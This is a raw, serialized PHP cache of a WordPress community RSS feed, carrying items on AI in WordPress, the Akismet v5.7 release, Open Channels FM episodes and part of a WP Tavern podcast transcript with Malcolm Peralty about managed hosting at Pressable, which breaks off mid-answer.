newsletterglue-container ng-block" style="color: #666666;" width="100%"><div><div><div class="ng-block-vs ng-block-vs-1" colspan="3" height="0" style="height: 0px;"></div></div><div><div class="ng-block-hs ng-block-hs-1" height="0" style="width: 0px;"></div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 20px; padding-bottom: 20px; padding-left: 0px; padding-right: 0px; text-align: none; color: #666666; background-color: #fdfcea; border-radius: 12px;"><div class="ng-block-d3c63d8f7b9c7219 wp-block-newsletterglue-text ng-block" style="color: #666666;" width="100%"><div><div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 8px; padding-bottom: 10px; padding-left: 20px; padding-right: 20px; text-align: none; color: #666666;"><p><strong> <a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/" rel="noreferrer noopener" target="_blank">&#8220;Keeping up with Gutenberg &#8211; Index 2025&#8221;</a> </strong><br />A chronological list of the WordPress Make Blog posts from various teams involved in Gutenberg development: Design, Theme Review Team, Core Editor, Core JS, Core CSS, Test, and Meta team from Jan. 2024 on. Updated by yours truly. </p></div></div></div></div>\n\n<div class="ng-block-3c518b5d3f96091b wp-block-newsletterglue-text ng-block" style="color: #666666;" width="100%"><div><div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 8px; padding-bottom: 10px; padding-left: 20px; padding-right: 20px; text-align: none; color: #666666;"><p>The previous years are also available: <br /><strong><strong><a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/keeping-up-with-gutenberg-index-2020/">2020</a> | <a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/keeping-up-with-gutenberg-index-2021/">2021</a></strong> | <strong><a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/keeping-up-with-gutenberg-index-2022/">2022</a></strong></strong> | <strong><a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/gutenberg-index-2023">2023</a></strong> | <a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/gutenberg-index-2024/"><strong>2024</strong></a></p></div></div></div></div></div><div class="ng-block-hs ng-block-hs-2" height="0" style="width: 0px;"></div></div><div><div class="ng-block-vs ng-block-vs-2" colspan="3" height="0" style="height: 0px;"></div></div></div></div>\n\n\n<h2 class="wp-block-heading" id="ai-in-wordpress">AI in WordPress</h2>\n\n\n\n<p class="wp-block-paragraph">Automattic&#8217;s head of global expansion <strong>James Grierson</strong> argues in <a href="https://automattic.com/2026/04/21/wordpress-operating-system-agentic-web/"><strong>WordPress: The Operating System of the Agentic Web</strong></a> that WordPress&#8217;s open-source transparency, 90,000+ plugin ecosystem, REST API, and MCP support make it the ideal foundation for AI agents. WordPress.com&#8217;s full MCP write capabilities — launched in March 2026—let agents create and manage content via natural conversation. Challenges remain around legacy code, inconsistent plugin quality, and PHP perception, but Grierson sees AI itself as the solution to those very problems.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<p class="wp-block-paragraph">Inspired by a trip to WordCamp Asia 2026 in Mumbai, <strong>Chandra Patel</strong> built the <a href="https://chandra.dev/wp-rest-api-playground/">WordPress REST API Playground</a> — a free plugin developed entirely with Claude Code in just 2–3 hours. The three-panel interface lets you browse all registered REST API routes, build requests with schema-driven form fields, and view syntax-highlighted responses with timing info. A handy Code tab generates ready-to-use JavaScript, PHP, and cURL snippets for every request. Available on <a href="https://github.com/chandrapatel/wp-rest-api-playground">GitHub</a>.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph"><strong>Pablo Postigo</strong> used <a href="https://pablopostigo.com/thoughts/using-studio-code-to-travel-back-in-time/">Studio Code</a>, Automattic&#8217;s new AI coding agent for building WordPress sites locally, to finally redesign <a href="https://govoid.es/">Govoid.es</a>, a geek news blog he co-founded in 2009 that&#8217;s been dormant since 2013. He used Claude to craft a detailed design brief, fed it to Studio Code (running Claude Opus 4.7), and got a complete minimalist dark-mode block theme generated in one shot, with only a couple of hours of refinement before pushing straight to production. <em><a href="https://www.npmjs.com/package/wp-studio">Studio Code</a> is still in alpha, there will be dragons <img alt="🐲" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f432.png" style="height: 1em;" /></em></p>\n\n\n<div class="ng-block-4a19625d2479898c wp-block-newsletterglue-container ng-block" style="color: #666666;" width="100%"><div><div><div class="ng-block-vs ng-block-vs-1" colspan="3" height="0" style="height: 0px;"></div></div><div><div class="ng-block-hs ng-block-hs-1" height="0" style="width: 0px;"></div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 20px; padding-bottom: 20px; padding-left: 0px; padding-right: 0px; text-align: none; color: #666666; background-color: #f8f8f8; border-radius: 8px;"><div class="ng-block-d1ef8d0c5cdc4833 wp-block-newsletterglue-text ng-block" style="color: #666666;" width="100%"><div><div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 8px; padding-bottom: 10px; padding-left: 20px; padding-right: 20px; text-align: none; color: #666666;"><p><strong><a href="https://gutenbergtimes.com/need-a-zip-from-master/">Need a plugin .zip from Gutenberg&#8217;s master branch?</a></strong><br />Gutenberg Times provides daily build for testing and review.</p></div></div></div></div>\n\n<div class="ng-block-a0b78dde729f80da wp-block-newsletterglue-image ng-block size-full is-resized" width="100%"><div><div><div align="center" class="ng-block-td" style="padding-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px;"><a href="https://playground.wordpress.net/?blueprint-url=https://gutenbergtimes.com/wp-content/uploads/2020/11/playnightly.json"><img alt="" class="wp-image-42874 ng-image" height="45" src="https://i0.wp.com/gutenbergtimes.com/wp-content/uploads/2024/02/Screenshot-2025-11-15-at-12.06.44.png?resize=196%2C45&#038;ssl=1" style="border-style: none; border-color: transparent;" width="196" /></a></div></div></div></div>\n\n<div class="ng-block-dcaa057501585536 wp-block-newsletterglue-text ng-block" style="color: #666666;" width="100%"><div><div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 8px; padding-bottom: 10px; padding-left: 20px; padding-right: 20px; text-align: none; color: #666666;"><p>Now also available via <a href="https://playground.wordpress.net/?blueprint-url=https://gutenbergtimes.com/wp-content/uploads/2020/11/playnightly.json">WordPress Playground</a>. There is no need for a test site locally or on a server. Have you been using it? <a href="mailto:pauli@gutenbergtimes.com">Email me </a>with your experience.</p></div></div></div></div></div><div class="ng-block-hs ng-block-hs-2" height="0" style="width: 0px;"></div></div><div><div class="ng-block-vs ng-block-vs-2" colspan="3" height="0" style="height: 0px;"></div></div></div></div>\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="has-text-align-center has-small-font-size wp-block-paragraph"><em>Questions? Suggestions? Ideas? </em><br /><em>Don&#8217;t hesitate to send <a href="mailto:pauli@gutenbergtimes.com">them via email</a> or</em><br /><em> send me a message on WordPress Slack or Twitter @bph</em>.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<p class="has-text-align-center has-small-font-size wp-block-paragraph">For questions to be answered on the <a href="http://gutenbergtimes.com/podcast">Gutenberg Changelog</a>, <br />send them to <a href="mailto:changelog@gutenbergtimes.com">changelog@gutenbergtimes.com</a></p>\n\n\n<div class="ng-block-9ec1d5aae954529e wp-block-newsletterglue-separator ng-block" style="color: #666666;" width="100%"><div><div><div align="center" class="ng-block-td" style="padding-top: 20px; padding-bottom: 20px; padding-left: 20px; padding-right: 20px; color: #666666;"><hr style="background-color: transparent; color: transparent; margin: 0; border: 0; border-top: 1px solid #666666; width: 560px; height: 0;" /></div></div></div></div>\n\n<div class="wp-block-newsletterglue-showhide ng-block" width="100%"><div class="ng-block-0f0a9eb0c4372091 wp-block-newsletterglue-text ng-block" style="color: #666666;" width="100%"><div><div><div align="none" class="ng-block-td" style="font-size: 14px; font-family: Helvetica; line-height: 0.2; font-weight: normal; padding-top: 8px; padding-bottom: 10px; padding-left: 20px; padding-right: 20px; text-align: none; color: #666666;"><p><strong>Featured Image: </strong></p></div></div></div></div></div>\n\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 25 Apr 2026 13:08:16 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:18:"Birgit Pauli-Haack";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:27;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:64:"Greg Ziółkowski: WordPress Core AI — 7.1 Planning and Beyond";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:26:"https://gziolo.pl/?p=14672";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"https://gziolo.pl/2026/04/25/wordpress-core-ai-7-1-planning-and-beyond/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:381:"Building on the Abilities API and three read-only core abilities (core/get-site-info, core/get-user-info, core/get-environment-info) shipped in 6.9, WordPress 7.0 brings the server-side WP AI Client. Together these form the baseline: a way to declare what WordPress can do, and a way to connect to providers that reason about it. This post outlines what I&#8217;d like to [&#8230;]";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 24 Apr 2026 22:13:04 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:17:"Greg Ziółkowski";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:28;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:57:"Akismet: Akismet v5.7: ready for Abilities and Connectors";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://akismet.com/?p=284737";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:73:"https://akismet.com/blog/akismet-v5-7-ready-for-abilities-and-connectors/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1762:"<p class="wp-block-paragraph"><a href="https://wordpress.org/plugins/akismet/">Akismet WordPress plugin</a> v5.7 is out today. This release focuses on fitting more neatly into where WordPress is heading next.</p>\n\n\n\n<h3 class="wp-block-heading" id="abilities-api-support">Abilities API support</h3>\n\n\n\n<p class="wp-block-paragraph">Akismet now supports the <a href="https://developer.wordpress.org/news/2025/11/introducing-the-wordpress-abilities-api/">Abilities API</a>, giving WordPress a clear, structured way to understand what Akismet can do, like checking content for spam or retrieving stats.</p>\n\n\n\n<p class="wp-block-paragraph">It’s a subtle change, but it makes integrations more predictable and easier to build on top of.</p>\n\n\n\n<h3 class="wp-block-heading" id="connectors-for-wordpress-7-0">Connectors (for WordPress 7.0)</h3>\n\n\n\n<p class="wp-block-paragraph">We’ve also added early support for WordPress Connectors, which is landing in WordPress 7.0.</p>\n\n\n\n<p class="wp-block-paragraph">Connectors provide a consistent way to manage API keys and external services across plugins. With Akismet ready for this, your API key setup will slot into a more unified experience as sites upgrade.</p>\n\n\n\n<h3 class="wp-block-heading" id="plus-the-usual-polish">Plus the usual polish</h3>\n\n\n\n<p class="wp-block-paragraph">A handful of fixes and improvements round things out to keep things running smoothly.</p>\n\n\n\n<p class="wp-block-paragraph"></p>\n\n\n\n<p class="wp-block-paragraph">To upgrade, visit the Updates page of your WordPress dashboard and follow the instructions. If you need to download the plugin zip file directly, links to all versions are available in <a href="http://wordpress.org/plugins/akismet/">the WordPress plugins directory</a>.</p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Fri, 24 Apr 2026 01:56:59 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:17:"Chris Rosser 🏔";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:29;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:86:"Open Channels FM: Live at CloudFest: Ecommerce With New Caching for Better Conversions";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2553109";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:93:"https://openchannels.fm/the-future-of-fast-ecommerce-with-new-caching-for-better-conversions/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:196:"Site speed is crucial for e-commerce success; delays lead to cart abandonment, especially on mobile. Experts discuss caching solutions and user experience improvements to enhance conversion rates.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 23 Apr 2026 13:33:51 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:30;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:69:"Open Channels FM: The Philosophy Behind Sustaining Independent Voices";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2552898";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:76:"https://openchannels.fm/the-philosophy-behind-sustaining-independent-voices/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:197:"The "Keep It Open" initiative emphasizes sustainability and independence in the open web community, inviting contributors to support honest conversations without focusing on rewards or exclusivity.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 23 Apr 2026 11:02:32 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:31;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:94:"WPTavern: #213 – Malcolm Peralty on Managed WordPress Hosting and AI Innovation at Pressable";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:48:"https://wptavern.com/?post_type=podcast&p=203491";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:108:"https://wptavern.com/podcast/213-malcolm-peralty-on-managed-wordpress-hosting-and-ai-innovation-at-pressable";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:67393:"<details>Transcript<div>\n<p class="wp-block-paragraph">[00:00:19] <strong>Nathan Wrigley:</strong> Welcome to the Jukebox Podcast from WP Tavern. My name is Nathan Wrigley.</p>\n\n\n\n<p class="wp-block-paragraph">Jukebox is a podcast which is dedicated to all things WordPress. The people, the events, the plugins, the blocks, the themes, and in this case managed WordPress hosting and AI hosting innovation.</p>\n\n\n\n<p class="wp-block-paragraph">If you&#8217;d like to subscribe to the podcast, you can do that by searching for WP Tavern in your podcast player of choice, or by going to wptavern.com/feed/podcast, and you can copy that URL into most podcast players.</p>\n\n\n\n<p class="wp-block-paragraph">If you have a topic that you&#8217;d like us to feature on the podcast, I&#8217;m keen to hear from you and hopefully get you, or your idea, featured on the show. Head to wptavern.com/contact/jukebox, and use the form there.</p>\n\n\n\n<p class="wp-block-paragraph">So on the podcast today, we have Malcolm Peralty. Malcolm has been immersed in the WordPress ecosystem for 20 years, starting out as a full-time blogger and working his way through tech roles in project management, agencies, and even a stint in the Drupal space. These days, Malcolm is bringing his experience back to WordPress, serving as a technical account manager at Pressable, a managed WordPress hosting company.</p>\n\n\n\n<p class="wp-block-paragraph">Malcolm shares how he found his way from early forays with WordPress to managing large scale hosting environments. He talks about the lure of the Drupal world, and why he&#8217;s ultimately returned to WordPress and Pressable.</p>\n\n\n\n<p class="wp-block-paragraph">We discuss what technical account management means at Pressable, how his role differs from sales and support, focusing instead on long-term strategy for clients, performance optimization, and bridging the gap between customer needs and the underlying WP Cloud infrastructure. We hear how Pressable proactively helps clients, sometimes even advising them to downgrade their plan if optimizations mean they need fewer resources.</p>\n\n\n\n<p class="wp-block-paragraph">We go behind the scenes in Pressable, getting into how hardware considerations, plugin bloat, WooCommerce or LMS sites, and customer handholding, all come together inside one company. Malcolm gives us a candid look at performance challenges, the way hosts interact with infrastructure teams, and why education around WordPress performance is so tough, even as competing platforms prioritise speed at all costs.</p>\n\n\n\n<p class="wp-block-paragraph">We also look into the future. What are the cutting edge trends in hosting? Like database replication, virtual clusters, and especially the rise of AI within the hosting experience. Malcolm explains Pressable&#8217;s upcoming MCP, an AI powered control panel that promises to let you deploy, and manage, wordPress sites using natural language.</p>\n\n\n\n<p class="wp-block-paragraph">We explore how AI will impact everything from customer support to site deployment, potential pitfalls, and the challenge of balancing automation with human relationships.</p>\n\n\n\n<p class="wp-block-paragraph">If you&#8217;re curious about the state of managed WordPress hosting today, the interplay of tech, support, and AI, or just want to know what&#8217;s happening behind the curtain, this episode is for you.</p>\n\n\n\n<p class="wp-block-paragraph">If you&#8217;re interested in finding out more, you can find all of the links in the show notes by heading to wptavern.com/podcast, where you&#8217;ll find all the other episodes as well.</p>\n\n\n\n<p class="wp-block-paragraph">And so without further delay, I bring you Malcolm Peralty.</p>\n\n\n\n<p class="wp-block-paragraph">I am joined on the podcast by Malcolm Peralty. Hello, Malcolm.</p>\n\n\n\n<p class="wp-block-paragraph">[00:03:55] <strong>Malcolm Peralty:</strong> Hi there. How you doing today?</p>\n\n\n\n<p class="wp-block-paragraph">[00:03:56] <strong>Nathan Wrigley:</strong> Yeah. Very nice to have you with us on the podcast today. Malcolm&#8217;s got a really interesting story. He&#8217;s done a lot, a lot of it kind of maps to things that I&#8217;ve done in my life. But it&#8217;s a tech podcast, generally we talk about WordPress, but I think we&#8217;re going to talk about hosting, AI, and possibly other CMSs.</p>\n\n\n\n<p class="wp-block-paragraph">But before we do, a moment for you, Malcolm, just to introduce yourself and give us your potted bio, I guess centering around your relationship with technology, WordPress, CMSs, that kind of thing.</p>\n\n\n\n<p class="wp-block-paragraph">[00:04:22] <strong>Malcolm Peralty:</strong> Yeah. So first off, I like to always say that I&#8217;m Canadian. I think that actually kind of gives us some insight into a little bit about how I think. And I live just outside of Toronto, Ontario, Canada right now, and I&#8217;ve been in the WordPress, around the WordPress space for going on 20 years.</p>\n\n\n\n<p class="wp-block-paragraph">I started with WordPress 0.72, so before the 1.0 release. And I was a full-time blogger, talking about WordPress for several years, and kind of stumbled into using some of my tech skills to work in and around technology with WordPress, and then project management. And because of project management, I&#8217;ve been able to work with agencies that build like smartphone apps and other CMS systems, and custom CMSs for customers. But I&#8217;ve always kind of kept a toe in the WordPress world as much as possible.</p>\n\n\n\n<p class="wp-block-paragraph">[00:05:11] <strong>Nathan Wrigley:</strong> Yeah, and you firmly landed back in the WordPress world working for Pressable, which we&#8217;ll talk about in a moment. But you had a bit of a foray in the Drupal, Acquia world, I think. The word Acquia may not mean a great deal to people listening to this podcast, but it&#8217;s kind of the equivalent, I suppose the best mapping would be Automattic over on the Drupal side. What was your experience with Drupal? How come you&#8217;re not still fully on the Drupal side of things?</p>\n\n\n\n<p class="wp-block-paragraph">[00:05:35] <strong>Malcolm Peralty:</strong> Yeah, so that was kind of a strange one for me. I didn&#8217;t expect to have a position in the Drupal world. I had done some like Drupal project management before, a lot of like moving Drupal sites to WordPress or like revising a Drupal site, or adding a smartphone app to a Drupal site. But that was mostly, again, as like a project manager or a site builder, not as like someone who really understood the engineering behind Drupal.</p>\n\n\n\n<p class="wp-block-paragraph">But a long time friend of mine reached out and said, hey, would you ever be interested in a job at Acquia working at the Drupal mothership, so to speak? And the position was a technical account manager, which thankfully leans more on my skills as a project manager and someone who understands web hosting than someone who understands Drupal. So I was able to use the combination of 20 years of skills in the space to actually make a good go at it.</p>\n\n\n\n<p class="wp-block-paragraph">And I think one of the big reasons why I was so enticed and interested by the position is, honestly, Drupal jobs pay better than WordPress jobs. And it&#8217;s horrible and sad to say, but I think it was a really important factor in my determination on where my career was moving. If it wasn&#8217;t for the fact that Pressable came along when it did, and basically offered me a similar kind of pay scale, I&#8217;d probably still be in the Drupal space and who knows for how long.</p>\n\n\n\n<p class="wp-block-paragraph">[00:06:55] <strong>Nathan Wrigley:</strong> Yeah, that&#8217;s really interesting. I was a big Drupal user for many years but just found it was, there was a lot of things that I didn&#8217;t need that Drupal did, that WordPress could do. And so I firmly moved ship away from Drupal. Well, I think it was when Drupal finally went to version eight, so many, many years ago. Something like 2015 or something like that. And I certainly haven&#8217;t looked back.</p>\n\n\n\n<p class="wp-block-paragraph">So Pressable, you may need to go and Google that if you&#8217;re listening to this podcast. You may have heard that name before, but it is a hosting company, I guess managed hosting, dedicated hosting for WordPress websites. My understanding is they don&#8217;t do anything else. Pressable simply work with WordPress. But what&#8217;s your role over there? Let&#8217;s begin there.</p>\n\n\n\n<p class="wp-block-paragraph">[00:07:37] <strong>Malcolm Peralty:</strong> Yeah, so I&#8217;m a technical account manager. I&#8217;m the second technical account manager that Pressable has hired. They&#8217;re trying to build out a technical account management discipline. For those that haven&#8217;t heard the term technical account management before, you might think it&#8217;s like a sales role or something like that with a technical bent, and that&#8217;s not it at all.</p>\n\n\n\n<p class="wp-block-paragraph">We&#8217;re basically, you know, like WordPress and WordPress hosting strategists, right? So we&#8217;re thinking about like, what does your website look like a year from now, two years from now? What technologies do you need to be aware of? What end of lifes will come up that you might need to develop against? What plugins and tools are you using and how performant are they, and are there more performant options in the mix that might work for you? And so that&#8217;s really kind of the role that we take at Pressable.</p>\n\n\n\n<p class="wp-block-paragraph">Right now a lot of it is also kind of the pre-sales, right? Like which tier of service or product will your website fit into? What kind of customisations or optimisations might you want to make in moving over to the Pressable platform? And so we kind of go through all of that with customers of kind of a certain scale and size.</p>\n\n\n\n<p class="wp-block-paragraph">[00:08:36] <strong>Nathan Wrigley:</strong> So do you, as part of the job description then, do you monitor existing websites that are on the platform already and look for, let&#8217;s say things like bottlenecks, where something&#8217;s going wrong? The client may not be aware of it, but you can then sort of inject yourself, begin a conversation and say look, you&#8217;ve got this suite of plugins, that&#8217;s great, but we&#8217;ve noticed that improvements could be made here, there, and the other. And here&#8217;s a suggestion for something that maybe will get rid of that problem.</p>\n\n\n\n<p class="wp-block-paragraph">[00:09:02] <strong>Malcolm Peralty:</strong> We do get to do a little bit of that, not as much as I would like. My long-term hope would be that, much like Acquia, much WordPress VIP, TAM would be like a subscription service that customers of a certain tier would be able to sign up for, and have like that consistent access and that consistent monitoring where, like on a monthly basis, you know, we&#8217;d go through our client list and like double check all of them.</p>\n\n\n\n<p class="wp-block-paragraph">Right now we&#8217;re sometimes a point of escalation for support if need be, where they&#8217;re like, this problem&#8217;s going to take more than an hour to solve. Maybe the solutions team and the TAMs can kind of take a look at this and dive deep into it. We also kind of monitor the data coming in from our server instances. And, yeah, we&#8217;ll sometimes kind of cherry pick some of the ones that are standing out as not working as well as they should be, or using more resources than they should be, just as a point of like general optimisation, right?</p>\n\n\n\n<p class="wp-block-paragraph">It&#8217;s funny because our role helps both the customer because, again, we don&#8217;t care about the money side, right. So we&#8217;ll come in and be like, here&#8217;s the optimisations you need to make. Now you don&#8217;t need even as quite a big a plan as you have maybe. Maybe you need to downsize your plan now because we&#8217;ve helped you optimise your website.</p>\n\n\n\n<p class="wp-block-paragraph">But from a resourcing perspective on the Pressable side, it&#8217;s also advantageous because one, it makes the company look good to be proactive in that way. And two, it helps for server resources, right? We have our own cloud, WP Cloud, which is our own server stack. It&#8217;s not AWS, it&#8217;s not Google Cloud. And so optimising resources can allow us to have resources available for other people who maybe are bursting because of a big sale or front page of Reddit or something like that. So we&#8217;re always looking at those optimisations as an opportunity on both.</p>\n\n\n\n<p class="wp-block-paragraph">[00:10:37] <strong>Nathan Wrigley:</strong> Do you, as part of your role, get to sort of interface somewhere between the customer, the people who pay you to have hosting and the hardware side of WP Cloud? Because presumably on the WP Cloud side of things, there&#8217;s a hardware layer. There&#8217;s literally people putting boxes into racks and putting the cables in and what have you.</p>\n\n\n\n<p class="wp-block-paragraph">Because my understanding is WP Cloud is owned, well, it&#8217;s not AWS, let&#8217;s call it that. It&#8217;s not Google&#8217;s Cloud infrastructure. It&#8217;s not any of those other things. It&#8217;s managed, known by whom, you can tell us in a moment. But do you get to have a conversation, say, look, we&#8217;ve noticed that this bit of hardware isn&#8217;t as performant as maybe something else? Or, look, here&#8217;s some new thing that&#8217;s been released onto the market, can we get a dozen of those and try that out?</p>\n\n\n\n<p class="wp-block-paragraph">[00:11:17] <strong>Malcolm Peralty:</strong> For sure. And as Pressable continues, try to move towards the higher end of mid market to try to acquire customers that are using WooCommerce or learning management systems, we&#8217;re finding those platform opportunities where we&#8217;re providing like, here&#8217;s what 